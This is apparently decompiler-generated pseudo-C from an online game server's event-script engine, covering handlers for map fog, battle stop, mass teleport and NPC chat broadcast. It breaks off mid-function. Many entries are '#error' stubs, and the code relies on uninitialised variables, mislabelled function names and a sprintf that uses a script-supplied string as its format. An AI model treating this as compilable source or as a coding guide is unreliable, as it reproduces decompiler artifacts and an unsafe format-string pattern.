-------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineMapFog::sa_Step(PineEventScriptNode::ShineMapFog *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineMapFog *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 int v9; // eax@1 int v10; // ebx@3 int v11; // eax@3 int v12; // eax@5 __int16 v13; // di@5 MobTacticElement::MobActionArgument *v14; // ST0C_4@5 MobTacticElement::MobActionBase *v15; // eax@5 MobTacticElement::MobActionBase *v16; // eax@5 MobTacticElement::MobActionBase *v17; // eax@5 char *v18; // eax@5 void *v19; // ecx@5 unsigned __int16 result; // ax@10 char *v21; // [sp-4h] [bp-138h]@2 int v22; // [sp+10h] [bp-124h]@1 AxialListPacketBroadcast alchat; // [sp+14h] [bp-120h]@5 FunctionEntarance _; // [sp+20h] [bp-114h]@1 PineScriptToken tkn; // [sp+24h] [bp-110h]@1 unsigned int v26; // [sp+124h] [bp-10h]@1 int v27; // [sp+130h] [bp-4h]@1 v4 = this; v26 = (unsigned int)&v22 ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineMapFog::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineEventScriptNode::ShineMapFog::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineMapFog::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v27 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineMapFog"); PineScriptToken::pst_Clear(&tkn); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v27) = 1; v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps); v22 = v9 != 0; if ( v9 != 0 ) { v10 = PineScriptToken::pst_GetNumber(&tkn, 0); v11 = (int)v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate( (PineEventScriptNode::ScriptAtom *)v4->baseclass_0.os_Express[1], &tkn, ps); v22 = v11 != 0; if ( v11 != 0 ) { v12 = PineScriptToken::pst_GetNumber(&tkn, 0); v13 = v12; v14 = (MobTacticElement::MobActionArgument *)v12; v15 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_63C688); v16 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v15, (MobTacticElement::MobActionArgument *)v10); v17 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v16, &stru_63C688); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v17, v14); v18 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27662; v18[2] = v10; *(_WORD *)(v18 + 3) = v13; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v19 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v27) = 2; if ( v19 ) ShineObjectClass::ShineObject::so_AllInMap(v19, (int)&alchat, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v27) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineMapFog::sa_Step : no argument", 0); PineScriptStack::ProcessStack::ps_Pop(ps); } LOBYTE(v27) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v21 = "PineEventScriptNode::ShineMapFog::sa_Step"; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineMapFog::sa_Step : no argument", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v27) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v21 = "PineEventScriptNode::ShineMapFog::sa_Step"; } --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); __security_check_cookie((unsigned int)&v22 ^ v26); return result; } //----- (004D7F30) -------------------------------------------------------- #error "4D7F30: undefined or illegal type '#593' (funcsize=265)" //----- (004D82D0) -------------------------------------------------------- #error "4D82D0: undefined or illegal type '#593' (funcsize=330)" //----- (004D8740) -------------------------------------------------------- #error "4D8740: undefined or illegal type '#593' (funcsize=127)" //----- (004D8920) -------------------------------------------------------- #error "4D8920: undefined or illegal type '#593' (funcsize=86)" //----- (004D8A90) -------------------------------------------------------- #error "4D8A90: undefined or illegal type '#593' (funcsize=123)" //----- (004D8C70) -------------------------------------------------------- #error "4D8C70: undefined or illegal type '#593' (funcsize=124)" //----- (004D8E60) -------------------------------------------------------- #error "4D8E60: undefined or illegal type '#593' (funcsize=86)" //----- (004D8FD0) -------------------------------------------------------- #error "4D8FD0: undefined or illegal type '#593' (funcsize=67)" //----- (004D90E0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineDeathCountClear::sa_Step(PineEventScriptNode::ShineDeathCountClear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { MobTacticElement::MobActionBase *v4; // eax@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 unsigned __int16 v8; // ax@1 unsigned __int16 v9; // si@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineDeathCountClear::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineDeathCountClear::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v5 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v4, (MobTacticElement::MobActionArgument *)exechandle); v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v5, &unk_63D200); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, "ShineDeathCountClear"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &trc_eol); MobDeadCount::mdc_Clear((MobDeadCount *)(*(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77288) + 72)); v8 = PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v9 = v8; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineDeathCountClear::sa_Step"); return v9; } //----- (004D91D0) -------------------------------------------------------- #error "4D91D0: undefined or illegal type '#593' (funcsize=156)" //----- (004D9420) -------------------------------------------------------- #error "4D9420: undefined or illegal type '#593' (funcsize=138)" //----- (004D9640) -------------------------------------------------------- #error "4D9640: undefined or illegal type '#1265' (funcsize=268)" //----- (004D9A50) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineBattleStop::sa_Step(PineEventScriptNode::ShineBattleStop *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineBattleStop *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineScriptToken *v9; // eax@1 PineScriptToken *v10; // eax@1 int v11; // eax@2 void *v12; // eax@4 void *v13; // ecx@7 int v14; // eax@11 void *v15; // ecx@13 const char *v16; // eax@16 unsigned __int16 result; // ax@17 AxialListProtocolSend alps; // [sp+Ch] [bp-120h]@1 FunctionEntarance _; // [sp+18h] [bp-114h]@1 PineScriptToken tkn; // [sp+1Ch] [bp-110h]@1 unsigned int v21; // [sp+11Ch] [bp-10h]@1 int v22; // [sp+128h] [bp-4h]@1 v4 = this; v21 = (unsigned int)&alps ^ __security_cookie; _.fe_FunctionCode = (char *)&stru_655174.maa_TargetSelect.targetlist.baseclass_0.l_Array; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_655174.maa_TargetSelect.targetlist.baseclass_0.l_Array); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_655174.maa_TargetSelect.targetlist.baseclass_0.l_Array; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v22 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_655174); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); PineScriptToken::pst_Clear(&tkn); LOBYTE(v22) = 1; v9 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v10 = PineScriptToken::pst_ToLower(v9); if ( PineScriptToken::operator__(v10, index_pk.pst_Buffer) ) { v11 = *(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77292); if ( v11 ) { v12 = *(void **)(v11 + 98); if ( v12 ) FieldMap::fm_SetCurFieldPKType(v12, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_MapPKFlag Map", 0); } else { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_MapPKFlag CenterFlag", 0); } AxialListPkTypeProtocolSend::AxialListPkTypeProtocolSend((AxialListPkTypeProtocolSend *)&alps, 0); v13 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v22) = 2; if ( v13 != 0 ) { ShineObjectClass::ShineObject::so_AllInMap(v13, (int)&alps, 0); LOBYTE(v22) = 1; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alps); } else { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v22) = 1; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alps); } } else { if ( PineScriptToken::operator__(&tkn, index_guild.pst_Buffer) ) { v14 = *(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77288); if ( v14 ) { *(_DWORD *)(v14 + 252) = 0; *(_DWORD *)(v14 + 256) = 0; } AxialListProtocolSend::AxialListProtocolSend(&alps, 29, 132); v15 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v22) = 3; if ( v15 != 0 ) { ShineObjectClass::ShineObject::so_AllInMap(v15, (int)&alps, 0); LOBYTE(v22) = 1; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alps); } else { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v22) = 1; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alps); } } else { MoveManager::MoveManager((DiceTaiSai *)&tkn); ps_assert(0, "PineEventScriptNode::ShineBattleStop::sa_Step : invalid flag", v16); } } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v22) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_655174.maa_TargetSelect.targetlist.baseclass_0.l_Array); __security_check_cookie((unsigned int)&alps ^ v21); return result; } //----- (004D9D20) -------------------------------------------------------- #error "4D9D20: undefined or illegal type '#593' (funcsize=100)" //----- (004D9EA0) -------------------------------------------------------- #error "4D9EA0: undefined or illegal type '#593' (funcsize=106)" //----- (004DA030) -------------------------------------------------------- #error "4DA030: undefined or illegal type '#593' (funcsize=106)" //----- (004DA1C0) -------------------------------------------------------- #error "4DA1C0: undefined or illegal type '#593' (funcsize=114)" //----- (004DA360) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineTeleportAll::sa_Step(PineEventScriptNode::ShineTeleportAll *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineTeleportAll *v4; // edi@1 PineScriptToken *v5; // eax@1 PineScriptToken *v6; // eax@1 PineScriptToken *v7; // eax@2 PineScriptToken *v8; // eax@2 int v9; // eax@3 int v10; // edi@5 void *v11; // ecx@5 int v12; // eax@8 int v13; // eax@9 PineEventScriptNode::Express *v14; // ecx@9 int v15; // eax@9 int v16; // eax@10 PineEventScriptNode::Express *v17; // ecx@10 int v18; // eax@10 int v19; // eax@13 PineEventScriptNode::Express *v20; // ecx@13 int v21; // eax@13 Movie::Theater *v22; // ecx@14 Movie::Theater *v23; // ecx@14 int *v24; // ecx@14 int v25; // eax@15 PineEventScriptNode::Express *v26; // ecx@15 int v27; // eax@15 Movie::Theater *v28; // ecx@17 unsigned __int16 result; // ax@21 int v30; // [sp-4h] [bp-168h]@3 int v31; // [sp-4h] [bp-168h]@9 int allt; // [sp+10h] [bp-154h]@1 int *v33; // [sp+14h] [bp-150h]@17 int v34; // [sp+18h] [bp-14Ch]@3 FunctionEntarance _; // [sp+1Ch] [bp-148h]@1 int allc; // [sp+20h] [bp-144h]@14 int NumOfPlayer; // [sp+24h] [bp-140h]@14 int Position2; // [sp+28h] [bp-13Ch]@13 int v39; // [sp+2Ch] [bp-138h]@14 int v40; // [sp+30h] [bp-134h]@15 int v41; // [sp+34h] [bp-130h]@17 int Position; // [sp+38h] [bp-12Ch]@9 int v43; // [sp+3Ch] [bp-128h]@10 AxialListTeleportSplit thisa; // [sp+40h] [bp-124h]@14 PineScriptToken tkn; // [sp+54h] [bp-110h]@1 unsigned int v46; // [sp+154h] [bp-10h]@1 int v47; // [sp+160h] [bp-4h]@1 v4 = this; v46 = (unsigned int)&allt ^ __security_cookie; _.fe_FunctionCode = (char *)&stru_655174.maa_TargetSelect.hasDisposition.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_655174.maa_TargetSelect.hasDisposition.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_655174.maa_TargetSelect.hasDisposition.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v47 = 0; PineScriptToken::pst_Clear(&tkn); LOBYTE(v47) = 1; v5 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v6 = PineScriptToken::pst_ToLower(v5); if ( PineScriptToken::operator__(v6, index_anywhere.pst_Buffer) ) { AxialListIterator::AxialListIterator((AxialListIterator *)&allt); v10 = (int)AxialListTeleportAnywhere::_vftable_; allt = (int)AxialListTeleportAnywhere::_vftable_; v11 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v47) = 2; if ( v11 != 0 ) ShineObjectClass::ShineObject::so_AllInMap(v11, (int)&allt, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LABEL_18: v24 = &allt; allt = v10; goto LABEL_19; } v7 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v8 = PineScriptToken::pst_ToLower(v7); if ( !PineScriptToken::operator__(v8, index_split.pst_Buffer) ) { v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[0]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v34 = v9 != 0; v30 = 0; if ( v9 == 0 ) { LABEL_4: AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_655174.maa_TargetSelect.aggresiveall.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, v30); LABEL_20: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v47 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_655174.maa_TargetSelect.hasDisposition.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); goto LABEL_21; } v25 = PineScriptToken::pst_GetNumber(&tkn, 0); v26 = v4->baseclass_0.os_Express[1]; v40 = v25; v27 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v26->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v34 = v27 != 0; v31 = 0; if ( v27 == 0 ) { LABEL_16: AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_655174.maa_TargetSelect.aggresive2.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, v31); goto LABEL_20; } v41 = PineScriptToken::pst_GetNumber(&tkn, 0); AxialListIterator::AxialListIterator((AxialListIterator *)&allt); v10 = (int)AxialListTeleport::_vftable_; allt = (int)AxialListTeleport::_vftable_; v33 = &v40; v28 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v47) = 5; Movie::Theater::t_AllInMap(v28, (AxialListIterator *)&allt); goto LABEL_18; } v12 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[0]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v34 = v12 != 0; v30 = 0; if ( !(v12 != 0) ) goto LABEL_4; v13 = PineScriptToken::pst_GetNumber(&tkn, 0); v14 = v4->baseclass_0.os_Express[1]; Position = v13; v15 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v14->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v34 = v15 != 0; v31 = 0; if ( !(v15 != 0) ) goto LABEL_16; v16 = PineScriptToken::pst_GetNumber(&tkn, 0); v17 = v4->baseclass_0.os_Express[2]; v43 = v16; v18 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v17->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v34 = v18 != 0; if ( v18 != 0 ) { v19 = PineScriptToken::pst_GetNumber(&tkn, 0); v20 = v4->baseclass_0.os_Express[3]; Position2 = v19; v21 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v20->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); if ( !AssertClass::operator__( &shineassert, v21 != 0, (const char *)&stru_655174.maa_TargetSelect.aggresive2.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, 0) ) { v39 = PineScriptToken::pst_GetNumber(&tkn, 0); AxialListCount2::AxialListCount2((AxialListCount2 *)&allc); v22 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v47) = 3; Movie::Theater::t_AllInMap(v22, (AxialListIterator *)&allc); AxialListTeleportSplit::AxialListTeleportSplit( &thisa, NumOfPlayer, (SHINE_XY_TYPE *)&Position, (SHINE_XY_TYPE *)&Position2); v23 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v47) = 4; Movie::Theater::t_AllInMap(v23, &thisa.baseclass_0); LOBYTE(v47) = 3; thisa.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleportSplit::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&thisa); allc = (int)AxialListCount2::_vftable_; v24 = &allc; LABEL_19: LOBYTE(v47) = 1; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)v24); goto LABEL_20; } } else { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_655174.maa_TargetSelect.aggresiveall.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, 0); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v47 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_21: __security_check_cookie((unsigned int)&allt ^ v46); return result; } // 652EA0: using guessed type int (__stdcall *AxialListTeleport___vftable_[6])(int, int, int distancesquar); // 652EA4: using guessed type int (__stdcall *AxialListTeleportAnywhere___vftable_[5])(int, int, int distancesquar); // 652EA8: using guessed type int (__stdcall *AxialListCount2___vftable_[4])(int, int, int distancesquar); // 652EAC: using guessed type int (__stdcall *AxialListTeleportSplit___vftable_[3])(int, int, int distancesquar); //----- (004DA730) -------------------------------------------------------- #error "4DA730: undefined or illegal type '#593' (funcsize=148)" //----- (004DA960) -------------------------------------------------------- #error "4DA960: undefined or illegal type '#593' (funcsize=143)" //----- (004DAB90) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineChatWindow::sa_Step(PineEventScriptNode::ShineChatWindow *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineChatWindow *v4; // ebp@1 signed int v5; // ebx@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v9; // eax@1 int v10; // eax@1 const char *v11; // eax@3 unsigned int v12; // eax@3 const char *v13; // eax@5 MobTacticElement::MobActionBase *v14; // eax@8 PineEventScriptNode::ScriptAtomVtbl *v15; // edx@8 int v16; // eax@8 ShineScript *v17; // edi@10 char *v18; // eax@11 MobTacticElement::MobActionArgument *v19; // ebx@11 DiceTaiSai *v20; // edi@11 int v21; // ebp@11 MobTacticElement::MobActionArgument *v22; // eax@14 MobTacticElement::MobActionArgument *v23; // ST20_4@14 MobTacticElement::MobActionBase *v24; // eax@14 char *v25; // edi@17 __int16 v26; // ax@17 int v27; // eax@17 char v28; // cl@18 int v29; // eax@19 Movie::Theater *v30; // ecx@21 unsigned __int16 result; // ax@24 char *v32; // [sp-4h] [bp-93Ch]@7 int v33; // [sp+10h] [bp-928h]@1 unsigned int mobid; // [sp+14h] [bp-924h]@3 AxialListPacketBroadcast alchat; // [sp+18h] [bp-920h]@21 FunctionEntarance _; // [sp+24h] [bp-914h]@1 PineScriptToken mobindex; // [sp+28h] [bp-910h]@1 PineScriptToken chat; // [sp+128h] [bp-810h]@8 char tkn; // [sp+228h] [bp-710h]@11 char v40; // [sp+328h] [bp-610h]@17 char v41; // [sp+428h] [bp-510h]@17 char v42; // [sp+528h] [bp-410h]@17 char v43; // [sp+628h] [bp-310h]@17 char v44; // [sp+728h] [bp-210h]@17 char thisa; // [sp+828h] [bp-110h]@17 unsigned int v46; // [sp+928h] [bp-10h]@1 int v47; // [sp+934h] [bp-4h]@1 v4 = this; v46 = (unsigned int)&v33 ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineChatWindow::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineChatWindow::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineChatWindow::sa_Step"; v5 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v47 = 0; v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, "ShineChatWindow : "); PineScriptToken::pst_Clear(&mobindex); v9 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v47) = 1; v10 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v9->sa_Calculate)(&mobindex, ps); v33 = v10 != 0; if ( v10 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindow::sa_Step", 0); LABEL_7: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); v32 = "PineEventScriptNode::ShineChatWindow::sa_Step"; LABEL_23: v47 = v5; goto LABEL_24; } MoveManager::MoveManager((DiceTaiSai *)&mobindex); v12 = BTree::operator__(&mobdatabox.mdb_btree, v11); mobid = 65535; if ( v12 != -1 ) mobid = v12; MoveManager::MoveManager((DiceTaiSai *)&mobindex); if ( (_WORD)mobid == -1 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindow::sa_Step : no mob", v13); goto LABEL_7; } v14 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&mobindex); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v14, &stru_63450C); PineScriptToken::pst_Clear(&chat); v15 = v4->baseclass_0.os_Express[1]->baseclass_0.vfptr; LOBYTE(v47) = 2; v16 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v15->sa_Calculate)(&chat, ps); v33 = v16 != 0; if ( v16 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindow::sa_Step", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v47) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chat); LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); v32 = "PineEventScriptNode::ShineChatWindow::sa_Step"; goto LABEL_23; } v17 = *(ShineScript **)&ps->gap10114[28]; if ( !v17 ) { LABEL_22: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v47) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chat); LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); v32 = "PineEventScriptNode::ShineChatWindow::sa_Step"; goto LABEL_23; } MoveManager::MoveManager((DiceTaiSai *)&chat); v19 = (MobTacticElement::MobActionArgument *)ShineScript::ss_String(v17, v18); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, v19); _eh_vector_constructor_iterator_( &tkn, 0x100u, 7, (void (__thiscall *)(void *))PineScriptToken::pst_Clear, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); LOBYTE(v47) = 3; v20 = (DiceTaiSai *)&tkn; v21 = (int)&v4->baseclass_0.os_Express[2]; v33 = 7; do { if ( *(_DWORD *)v21 && (*(int (__stdcall **)(DiceTaiSai *, PineScriptStack::ProcessStack *))(**(_DWORD **)v21 + 8))(v20, ps) ) { MoveManager::MoveManager(v20); v23 = v22; v24 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_63450C); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v24, v23); } else { PineScriptToken::pst_Clear((PineScriptToken *)v20); } v21 += 4; v20 = (DiceTaiSai *)((char *)v20 + 256); --v33; } while ( v33 ); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &trc_eol); v25 = gpp.pp_Buffer; v26 = mobid; *(_WORD *)gpp.pp_Buffer = 27660; *((_WORD *)v25 + 1) = v26; MoveManager::MoveManager((DiceTaiSai *)&thisa); MoveManager::MoveManager((DiceTaiSai *)&v44); MoveManager::MoveManager((DiceTaiSai *)&v43); MoveManager::MoveManager((DiceTaiSai *)&v42); MoveManager::MoveManager((DiceTaiSai *)&v41); MoveManager::MoveManager((DiceTaiSai *)&v40); MoveManager::MoveManager((DiceTaiSai *)&tkn); sprintf(v25 + 5, (const char *)v19); v27 = (int)(v25 + 5); do v28 = *(_BYTE *)v27++; while ( v28 ); v29 = v27 - (_DWORD)(v25 + 6); if ( v29 < 256 ) { v25[4] = v29; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, (unsigned __int8)v29 + 5); v30 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v47) = 4; Movie::Theater::t_AllInMap(v30, 